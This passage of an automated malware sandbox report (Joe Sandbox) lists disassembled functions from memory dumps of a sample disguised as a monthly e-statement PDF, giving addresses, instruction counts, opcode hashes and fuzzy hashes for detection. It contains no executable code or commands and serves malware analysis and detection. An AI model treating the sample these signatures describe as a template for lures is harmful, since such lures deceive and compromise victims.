                                                                                                                • Instruction ID: 44abc7a9390d8e3b03139349b79911d18da90b01f133672c264465fc89f37aab
                                                                                                                • Opcode Fuzzy Hash: 3024b4b2a74d8f18cd96f33a0ffef341e84bb3ab78bd6c155f83c3dc4b4fee16
                                                                                                                • Instruction Fuzzy Hash: AA31B572B063905FDB01DF78D89069EBBB1EF9629070584A7E844CF357EA30DC0A87A1
                                                                                                                Function 00F28800 Relevance: 1.3, Strings: 1, Instructions: 70COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: K]
                                                                                                                • API String ID: 0-3798347547
                                                                                                                • Opcode ID: 63a9451a89a17ce06ea20d2ac0321a2e6fc10e065d78038d059910c4c3edfb11
                                                                                                                • Instruction ID: ba10fb43ba435dc53736e86b40c2fc4085fb8bcfb73e194b9b8e8d848aece396
                                                                                                                • Opcode Fuzzy Hash: 63a9451a89a17ce06ea20d2ac0321a2e6fc10e065d78038d059910c4c3edfb11
                                                                                                                • Instruction Fuzzy Hash: 37215E75B012108FCB00DF69D8955AEF7F2EF992A0354C46AE809DF356EA30DD058760
                                                                                                                Function 05AC1C99 Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: E
                                                                                                                • API String ID: 0-2089609516
                                                                                                                • Opcode ID: dc755d20f52ddf436cd3cb81ddae8e07e27cb91a9bc44da86a8c87a593f44de3
                                                                                                                • Instruction ID: d3f87967280dff091210459963446cf6a4bf682795facd3b543f335dbc614cb1
                                                                                                                • Opcode Fuzzy Hash: dc755d20f52ddf436cd3cb81ddae8e07e27cb91a9bc44da86a8c87a593f44de3
                                                                                                                • Instruction Fuzzy Hash: 18F096753003456BDB20566FF9A1F5BB7EADBD1610744842DE515CB301DE66DC018BA1
                                                                                                                Function 05AC1CA8 Relevance: 1.3, Strings: 1, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: E
                                                                                                                • API String ID: 0-2089609516
                                                                                                                • Opcode ID: dfbf24feae5e3c71bcea0f398446d9b7c5e16562466ceeba63793ef86f298cad
                                                                                                                • Instruction ID: 70d892b71374beff01153a2a6fa612f32ff2011f5d62bab60dcbbcdf6f4e1d31
                                                                                                                • Opcode Fuzzy Hash: dfbf24feae5e3c71bcea0f398446d9b7c5e16562466ceeba63793ef86f298cad
                                                                                                                • Instruction Fuzzy Hash: ECF082713003456B9B20AB6FB991D5BBBABEBD0610354842EE519CB300DE66EC058BE0
                                                                                                                Function 00F282FF Relevance: 1.3, Strings: 1, Instructions: 24COMMON
                                                                                                                Download Yara Rule
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: K]
                                                                                                                • API String ID: 0-3798347547
                                                                                                                • Opcode ID: 89b552bfb26b85a683ce7db82a788b909242ac31d7d690bedc915925c71b992a
                                                                                                                • Instruction ID: b5a31904b8c87d2041611e757fee1c38fd0ae4d91fe3a3231be539d9271d0844
                                                                                                                • Opcode Fuzzy Hash: 89b552bfb26b85a683ce7db82a788b909242ac31d7d690bedc915925c71b992a
                                                                                                                • Instruction Fuzzy Hash: 5CE08633B0134047CB40AE6978811EDF396DFD4260754C536E606CF306EE71CC0A57A0
                                                                                                                Function 05ABB258 Relevance: .4, Instructions: 407COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0911f9a5737f5ef82bcb8dab077c8ea5ed69e9f4d931869874a41cb1c42b5f17
                                                                                                                • Instruction ID: 03d9f19aca148491b1fcd2d9551a79b3bf4e0a1872c89bf868a19fbcf65d4bbf
                                                                                                                • Opcode Fuzzy Hash: 0911f9a5737f5ef82bcb8dab077c8ea5ed69e9f4d931869874a41cb1c42b5f17
                                                                                                                • Instruction Fuzzy Hash: 2AE1D034B003548FDB10DB25C850B9ABBF2AF89700F15C5AAD55A9F392DB70EC42CBA0
                                                                                                                Function 05AC1190 Relevance: .3, Instructions: 342COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f09d1433767bf1928924e1c9578a3db0179fcb2fcfe10d6f9d1f18889b4435f7
                                                                                                                • Instruction ID: cdac2032c396456be3d097dd32ee3bc2820ca053da686ed9752a3b08c3fb4fee
                                                                                                                • Opcode Fuzzy Hash: f09d1433767bf1928924e1c9578a3db0179fcb2fcfe10d6f9d1f18889b4435f7
                                                                                                                • Instruction Fuzzy Hash: D2C16D75B002199FDB04DFA9C984EAEBBF6FF88310F158169E915A7351CB349D42CBA0
                                                                                                                Function 05AC5740 Relevance: .3, Instructions: 324COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d16efff439d1c447db64767067c071d94b8a5a23e1fa55a67e043d706c43b30d
                                                                                                                • Instruction ID: 1ad3588bfa3357abc9f483263f4cf4a3eaf92a9663c69fa7defb9cd07dd2da4d
                                                                                                                • Opcode Fuzzy Hash: d16efff439d1c447db64767067c071d94b8a5a23e1fa55a67e043d706c43b30d
                                                                                                                • Instruction Fuzzy Hash: 5BB1D430B002458FDB04DB69C884B6ABBF2EF84310F14C5AAE555DB392DB70ED46CBA1
                                                                                                                Function 05AC3B68 Relevance: .3, Instructions: 295COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c2a7ad26c8db2dc3f98e2956eb1da98ebc630ca861125892b869dbb1d7b7e2ec
                                                                                                                • Instruction ID: 0ff7f757f91342964269a0cac3a06e8ba8f2f4b676b32edcd2570ca8eb1faa7e
                                                                                                                • Opcode Fuzzy Hash: c2a7ad26c8db2dc3f98e2956eb1da98ebc630ca861125892b869dbb1d7b7e2ec
                                                                                                                • Instruction Fuzzy Hash: A6C14835600615CFCB05DF58C584DAABBF2FF89304B96C899E4069B266DB30FD46CBA4
                                                                                                                Function 05AC5AD9 Relevance: .3, Instructions: 294COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ce26bec73124a4c147b6d89dd88767e4c2e51172297389431b8215b9ce41ca3e
                                                                                                                • Instruction ID: 7e5e8a48f5810c250fd653a6fec30ebdcbf445b32c6d6f60fc6790a34973a835
                                                                                                                • Opcode Fuzzy Hash: ce26bec73124a4c147b6d89dd88767e4c2e51172297389431b8215b9ce41ca3e
                                                                                                                • Instruction Fuzzy Hash: C8B15635B002148FDB18EB68D594AADBBF7EF88311F148469E416AB351DF74EC42CBA1
                                                                                                                Function 00F2DA79 Relevance: .3, Instructions: 293COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2c037767c25e6d696b67207619d81afcc9f91f3b7633fb4c62fd3864690e163b
                                                                                                                • Instruction ID: e2ca0d4966b4f948571dc84a7563922dd337a4ee880a48f2cf744750ae2de417
                                                                                                                • Opcode Fuzzy Hash: 2c037767c25e6d696b67207619d81afcc9f91f3b7633fb4c62fd3864690e163b
                                                                                                                • Instruction Fuzzy Hash: 39C10475A0161ADFCF01CF98D9909AEBBB2FF49324B248459E905E7350D731ED12DB90
                                                                                                                Function 05ABBD60 Relevance: .3, Instructions: 292COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 003542a73eadb3ac2ef013e8954bad4908873f8f0d765a756c8386b66024f75e
                                                                                                                • Instruction ID: bf10a3f8719566f45c50ae3a6fbfc876f98edc77634e0f6dedfd4b9487cd8fd3
                                                                                                                • Opcode Fuzzy Hash: 003542a73eadb3ac2ef013e8954bad4908873f8f0d765a756c8386b66024f75e
                                                                                                                • Instruction Fuzzy Hash: 1CA19F34B003459FDB14EB78C490AAEBBB7BF89310B148969D506DB391DB75EC42CBA1
                                                                                                                Function 05ABAC18 Relevance: .3, Instructions: 275COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f7b8ac31c3c761de87255c3c0c54b0ac223bbbbe373d32b9f69e83bde0908c78
                                                                                                                • Instruction ID: 059f80b737939bba43d1569e6ed94e138e8952c3903c4984f38a7c0d9f9465bc
                                                                                                                • Opcode Fuzzy Hash: f7b8ac31c3c761de87255c3c0c54b0ac223bbbbe373d32b9f69e83bde0908c78
                                                                                                                • Instruction Fuzzy Hash: 7EB1CB756007049FD724CF68C880AAEFBF6FF84311B58895AE45A9B652C771FC42CBA0
                                                                                                                Function 05AB17C0 Relevance: .2, Instructions: 242COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 504f511239911ba037cb4e899097bce1bd65834216d16fa7e65603cfdd816adf
                                                                                                                • Instruction ID: 315f27f7a424edfaf10ddedfeceb00823e8127816e9918c050a2a7211f7bfa1c
                                                                                                                • Opcode Fuzzy Hash: 504f511239911ba037cb4e899097bce1bd65834216d16fa7e65603cfdd816adf
                                                                                                                • Instruction Fuzzy Hash: 0EA1E774B002558FDB14DBA8C4A4EAEB7F6FF89300F148598E416AB365DB71ED41CB90
                                                                                                                Function 05AB17B1 Relevance: .2, Instructions: 233COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b7a8e2cbc657908d2ebaefe0994c3d323e65d1a43fad10d9f9eb1bb6f37dfdd8
                                                                                                                • Instruction ID: 461d73572c4523d7da386bfe49a29b6f5867f6048f8b007a86ff7e67e727312d
                                                                                                                • Opcode Fuzzy Hash: b7a8e2cbc657908d2ebaefe0994c3d323e65d1a43fad10d9f9eb1bb6f37dfdd8
                                                                                                                • Instruction Fuzzy Hash: AD91E574B002558FDB14DBA8C4A4EAEB7F6FF89300B5485A8E416EB365DB71EC41CB90
                                                                                                                Function 05ABD180 Relevance: .2, Instructions: 222COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 941d6a4718cbef5fb329bffcab1dd5ff154feda358b2ca81075f711df15d3000
                                                                                                                • Instruction ID: 885600016091a761d168fe96688033ccc54e2d7270cc955e2dfbc716780ceddc
                                                                                                                • Opcode Fuzzy Hash: 941d6a4718cbef5fb329bffcab1dd5ff154feda358b2ca81075f711df15d3000
                                                                                                                • Instruction Fuzzy Hash: 5A813A74A002059FDB04DFA8C984EAEBBF6EF89310F158159E505EB3A1CB70ED05CBA1
                                                                                                                Function 00F2FDA8 Relevance: .2, Instructions: 221COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 96c91b6881fe67d91a26d8a95b1cacc1bf2d6d34e1b69d8d5cbfdb3bf83a2cdf
                                                                                                                • Instruction ID: 498b94c96066ea203403fa78c2990b27df69315248325ab05aa722df0d5e2c4b
                                                                                                                • Opcode Fuzzy Hash: 96c91b6881fe67d91a26d8a95b1cacc1bf2d6d34e1b69d8d5cbfdb3bf83a2cdf
                                                                                                                • Instruction Fuzzy Hash: C8918335A206018FCB01DF29C89899EFBF2FF9970071495A9E51ADB761DB30ED06CB91
                                                                                                                Function 00F25D30 Relevance: .2, Instructions: 220COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d19b1519012291ebd70b1d6b5297957bd9bc6feaf524591bd5fb4d713a4b75d1
                                                                                                                • Instruction ID: 96e50b001e3aa9ee31188f1b0c3b99f119793708fda3f6a644f56903218998f5
                                                                                                                • Opcode Fuzzy Hash: d19b1519012291ebd70b1d6b5297957bd9bc6feaf524591bd5fb4d713a4b75d1
                                                                                                                • Instruction Fuzzy Hash: 73913930A007559FDF24DF69E8846AEBBB2EF88720B148229E815DF344DB71DD46CB90
                                                                                                                Function 00F241E0 Relevance: .2, Instructions: 219COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a55626b4fbbbd3ebb745d774e5da5f1ea3adb219e1bad7588fb796d92a175a78
                                                                                                                • Instruction ID: f1a781ea861269148d9c90d0626837f5ad07f992d6564e330c12114ce1f7b442
                                                                                                                • Opcode Fuzzy Hash: a55626b4fbbbd3ebb745d774e5da5f1ea3adb219e1bad7588fb796d92a175a78
                                                                                                                • Instruction Fuzzy Hash: 2D916D34B002459FCB15DF69E999A6DBBF2FB88300B108129E81ADB395DF74ED06DB50
                                                                                                                Function 05ABECA0 Relevance: .2, Instructions: 218COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f12578a087ddefb89a558591edc7f4256219d94aeaf1f2f4819d3bac1a865e23
                                                                                                                • Instruction ID: 45e681505d74a3c516a74c51500a6712f1fb1a452b3ffd064e93fc11da0182f9
                                                                                                                • Opcode Fuzzy Hash: f12578a087ddefb89a558591edc7f4256219d94aeaf1f2f4819d3bac1a865e23
                                                                                                                • Instruction Fuzzy Hash: 41614935B002249FDB25DB649850AEDBBBAFFC8710B24842AD455EB342DB75DC42C7E1
                                                                                                                Function 00F241F0 Relevance: .2, Instructions: 215COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 8424c00348a15d2791e05fb1fa5af492eb77989e6b21f9c9863d34f680ef5d1a
                                                                                                                • Instruction ID: 4d77102ebd7c8f4ad8584812708476e765a3cebed0ab17a98e5fc7daa89dd175
                                                                                                                • Opcode Fuzzy Hash: 8424c00348a15d2791e05fb1fa5af492eb77989e6b21f9c9863d34f680ef5d1a
                                                                                                                • Instruction Fuzzy Hash: 7F816C34B002059FDB15DF69E999A6DBBF2FB88300B108129E81ADB394DF75ED06CB50
                                                                                                                Function 05AB9898 Relevance: .2, Instructions: 214COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 85dcde0bfa3033437f450d9b4361fc93dfdbfbbacb7a794c76e36bf3a1be1627
                                                                                                                • Instruction ID: 9913e4fb7e18981d3fb95d7c481fd5633b7aa978e6e400713df873e0884f68b5
                                                                                                                • Opcode Fuzzy Hash: 85dcde0bfa3033437f450d9b4361fc93dfdbfbbacb7a794c76e36bf3a1be1627
                                                                                                                • Instruction Fuzzy Hash: EF81AF75A002158FD700DB68D885EAEBBF5FB49321F1585A9E919DB362DB30EC01CBA1
                                                                                                                Function 05AC0128 Relevance: .2, Instructions: 211COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568657806.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ac0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c02c26602c4a2ffc2941e1f6ea5fdbf0fefef9d1b0391a438cb471c2a565c0d4
                                                                                                                • Instruction ID: 37293e19d1f93ca79ce1cc0bb346112a7451c149eca5ea6b7ca4f65e416974d6
                                                                                                                • Opcode Fuzzy Hash: c02c26602c4a2ffc2941e1f6ea5fdbf0fefef9d1b0391a438cb471c2a565c0d4
                                                                                                                • Instruction Fuzzy Hash: 47816D74A002059FDB04DF69C884EAEBBB6FF85310F158199E519AF352DB71ED42CB90
                                                                                                                Function 05ABEF11 Relevance: .2, Instructions: 207COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a3fc06c4585ed2ce990403a988a46d9a8cdf40ce50b23ca194622d7e3b5ffb42
                                                                                                                • Instruction ID: 1fc87a5aeb1ccd7d129c119ee473f485b74a9c560f0bc785fb2083ec170faae0
                                                                                                                • Opcode Fuzzy Hash: a3fc06c4585ed2ce990403a988a46d9a8cdf40ce50b23ca194622d7e3b5ffb42
                                                                                                                • Instruction Fuzzy Hash: C5715235B002199FDB04DF69C894AAEBBB6FF88310F148129E915AB361DB719D51CBD0
                                                                                                                Function 05ABFD08 Relevance: .2, Instructions: 202COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c8c7f441db5336108a58cf9065a997878807c82f7c2e9d3c42584d1486e877db
                                                                                                                • Instruction ID: ea14a4f5b13ff35a1581b4d3f8d13c02df9415043c2516a0dd0979b94910797f
                                                                                                                • Opcode Fuzzy Hash: c8c7f441db5336108a58cf9065a997878807c82f7c2e9d3c42584d1486e877db
                                                                                                                • Instruction Fuzzy Hash: B4816935600605EFDB24CF68C980EAEB7B6FF84300B48C959E846AF656C771F941CBA0
                                                                                                                Function 00F26CB8 Relevance: .2, Instructions: 200COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a5f0c284824385531816e5bbc096ba60bb789ac45338026f0d8a95614d90402e
                                                                                                                • Instruction ID: fa51b3d4014320e53989ae3c075b87656749619b5fd3af253439882e79f71a4a
                                                                                                                • Opcode Fuzzy Hash: a5f0c284824385531816e5bbc096ba60bb789ac45338026f0d8a95614d90402e
                                                                                                                • Instruction Fuzzy Hash: D3618135B006158FCB04DF68D8845AEBBF2EFC9310755856AE40AEB391DF71ED068B61
                                                                                                                Function 05AB9058 Relevance: .2, Instructions: 198COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f70952b1f5bdef4eaf58a653b1e851d4dd9396855e585860aa8a73e6efc7bc25
                                                                                                                • Instruction ID: d15534ff8c918157ffdc52cdd009b3c6a48a3b904a914f8dc33d283b7b7771e3
                                                                                                                • Opcode Fuzzy Hash: f70952b1f5bdef4eaf58a653b1e851d4dd9396855e585860aa8a73e6efc7bc25
                                                                                                                • Instruction Fuzzy Hash: DE71ED30A002149FDB04DF78D594AADBBB2FF85310F158169E509EB3A1DF70AD06CBA1
                                                                                                                Function 00F288D8 Relevance: .2, Instructions: 192COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1560501435.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_f20000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e22e7bcac39bdb8195c05f29cd13335173fc43c03c9fd9b0969f41e9cb604254
                                                                                                                • Instruction ID: 64c98f68ff01ca2bfab588afc94e092cc347ec660a6532c949f974ef1b2fa86a
                                                                                                                • Opcode Fuzzy Hash: e22e7bcac39bdb8195c05f29cd13335173fc43c03c9fd9b0969f41e9cb604254
                                                                                                                • Instruction Fuzzy Hash: B5610634B116159FDB14DF68E894AAEB7B2FF8D354B108164E506AB364DB30EC02DF50
                                                                                                                Function 05AB3A58 Relevance: .2, Instructions: 176COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 0000000C.00000002.1568601585.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_12_2_5ab0000_Monthly_eStatementsForumdownloaded537090855311_PDF.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
